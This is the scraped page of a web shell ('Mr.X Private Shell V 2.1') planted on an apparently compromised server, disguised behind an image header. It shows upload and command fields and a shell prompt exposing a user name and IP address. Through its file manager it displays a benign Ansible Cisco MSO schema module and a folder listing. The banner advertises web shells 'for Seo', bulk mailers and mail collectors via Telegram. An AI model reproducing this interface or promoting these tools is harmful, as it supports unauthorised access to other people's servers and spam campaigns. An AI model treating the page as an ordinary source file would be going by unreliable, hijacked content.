����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright: (c) 2018, Dag Wieers (@dagwieers) <dag@wieers.com>
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function

__metaclass__ = type

ANSIBLE_METADATA = {"metadata_version": "1.1", "status": ["preview"], "supported_by": "community"}

DOCUMENTATION = r"""
---
module: mso_schema
short_description: Manage schemas
description:
- Manage schemas on Cisco ACI Multi-Site.
author:
- Dag Wieers (@dagwieers)
options:
  schema:
    description:
    - The name of the schema.
    type: str
    aliases: [ name ]
  state:
    description:
    - Use C(absent) for removing.
    - Use C(query) for listing an object or multiple objects.
    type: str
    choices: [ absent, query ]
    default: query
notes:
- Due to restrictions of the MSO REST API this module cannot create empty schemas (i.e. schemas without templates).
  Use the M(cisco.mso.mso_schema_template) to automatically create schemas with templates.
seealso:
- module: cisco.mso.mso_schema_site
- module: cisco.mso.mso_schema_template
extends_documentation_fragment: cisco.mso.modules
"""

EXAMPLES = r"""
- name: Remove schemas
  cisco.mso.mso_schema:
    host: mso_host
    username: admin
    password: SomeSecretPassword
    schema: Schema 1
    state: absent
  delegate_to: localhost

- name: Query a schema
  cisco.mso.mso_schema:
    host: mso_host
    username: admin
    password: SomeSecretPassword
    schema: Schema 1
    state: query
  delegate_to: localhost
  register: query_result

- name: Query all schemas
  cisco.mso.mso_schema:
    host: mso_host
    username: admin
    password: SomeSecretPassword
    state: query
  delegate_to: localhost
  register: query_result
"""

RETURN = r"""
"""

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.cisco.mso.plugins.module_utils.mso import MSOModule, mso_argument_spec


def main():
    argument_spec = mso_argument_spec()
    argument_spec.update(
        schema=dict(type="str", aliases=["name"]),
        # messages=dict(type='dict'),
        # associations=dict(type='list'),
        # health_faults=dict(type='list'),
        # references=dict(type='dict'),
        # policy_states=dict(type='list'),
        state=dict(type="str", default="query", choices=["absent", "query"]),
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_if=[
            ["state", "absent", ["schema"]],
        ],
    )

    schema = module.params.get("schema")
    state = module.params.get("state")

    mso = MSOModule(module)

    schema_id = None
    path = "schemas"

    # Query for existing object(s)
    if schema:
        mso.existing = mso.get_obj(path, displayName=schema)
        if mso.existing:
            schema_id = mso.existing.get("id")
            path = "schemas/{id}".format(id=schema_id)
    else:
        mso.existing = mso.query_objs(path)

    if state == "query":
        pass

    elif state == "absent":
        mso.previous = mso.existing
        if mso.existing:
            if module.check_mode:
                mso.existing = {}
            else:
                mso.existing = mso.request(path, method="DELETE")

    mso.exit_json()


if __name__ == "__main__":
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
mso_backup.py File 10.65 KB 0644
mso_backup_schedule.py File 6.39 KB 0644
mso_dhcp_option_policy.py File 4.65 KB 0644
mso_dhcp_option_policy_option.py File 5.39 KB 0644
mso_dhcp_relay_policy.py File 4.52 KB 0644
mso_dhcp_relay_policy_provider.py File 7.98 KB 0644
mso_label.py File 3.96 KB 0644
mso_remote_location.py File 7.81 KB 0644
mso_rest.py File 5.11 KB 0644
mso_role.py File 7.11 KB 0644
mso_schema.py File 3.26 KB 0644
mso_schema_clone.py File 3.72 KB 0644
mso_schema_site.py File 4.94 KB 0644
mso_schema_site_anp.py File 6.44 KB 0644
mso_schema_site_anp_epg.py File 9.57 KB 0644
mso_schema_site_anp_epg_bulk_staticport.py File 14.7 KB 0644
mso_schema_site_anp_epg_domain.py File 18.1 KB 0644
mso_schema_site_anp_epg_selector.py File 13.02 KB 0644
mso_schema_site_anp_epg_staticleaf.py File 7.78 KB 0644
mso_schema_site_anp_epg_staticport.py File 13.95 KB 0644
mso_schema_site_anp_epg_subnet.py File 8.32 KB 0644
mso_schema_site_bd.py File 6.65 KB 0644
mso_schema_site_bd_l3out.py File 8.04 KB 0644
mso_schema_site_bd_subnet.py File 8.34 KB 0644
mso_schema_site_external_epg.py File 7.21 KB 0644
mso_schema_site_external_epg_selector.py File 8.88 KB 0644
mso_schema_site_l3out.py File 7.19 KB 0644
mso_schema_site_service_graph.py File 9.1 KB 0644
mso_schema_site_vrf.py File 5.66 KB 0644
mso_schema_site_vrf_region.py File 8.47 KB 0644
mso_schema_site_vrf_region_cidr.py File 9.57 KB 0644
mso_schema_site_vrf_region_cidr_subnet.py File 10.54 KB 0644
mso_schema_site_vrf_region_hub_network.py File 7.59 KB 0644
mso_schema_template.py File 7.52 KB 0644
mso_schema_template_anp.py File 5.69 KB 0644
mso_schema_template_anp_epg.py File 15.14 KB 0644
mso_schema_template_anp_epg_contract.py File 8.03 KB 0644
mso_schema_template_anp_epg_selector.py File 8.49 KB 0644
mso_schema_template_anp_epg_subnet.py File 7.38 KB 0644
mso_schema_template_bd.py File 16.94 KB 0644
mso_schema_template_bd_dhcp_policy.py File 7.24 KB 0644
mso_schema_template_bd_subnet.py File 7.51 KB 0644
mso_schema_template_clone.py File 7.72 KB 0644
mso_schema_template_contract_filter.py File 16.95 KB 0644
mso_schema_template_contract_service_graph.py File 12.3 KB 0644
mso_schema_template_deploy.py File 3.95 KB 0644
mso_schema_template_deploy_status.py File 4.51 KB 0644
mso_schema_template_external_epg.py File 10.77 KB 0644
mso_schema_template_external_epg_contract.py File 7.59 KB 0644
mso_schema_template_external_epg_selector.py File 7.6 KB 0644
mso_schema_template_external_epg_subnet.py File 7.21 KB 0644
mso_schema_template_externalepg.py File 10.77 KB 0644
mso_schema_template_filter_entry.py File 12.28 KB 0644
mso_schema_template_l3out.py File 6.59 KB 0644
mso_schema_template_migrate.py File 6.3 KB 0644
mso_schema_template_service_graph.py File 8.69 KB 0644
mso_schema_template_vrf.py File 6.63 KB 0644
mso_schema_template_vrf_contract.py File 8.68 KB 0644
mso_schema_validate.py File 1.97 KB 0644
mso_service_node_type.py File 4.5 KB 0644
mso_site.py File 8.5 KB 0644
mso_tenant.py File 6.09 KB 0644
mso_tenant_site.py File 13.21 KB 0644
mso_user.py File 7.88 KB 0644
mso_version.py File 1.53 KB 0644
ndo_schema_template_deploy.py File 4.2 KB 0644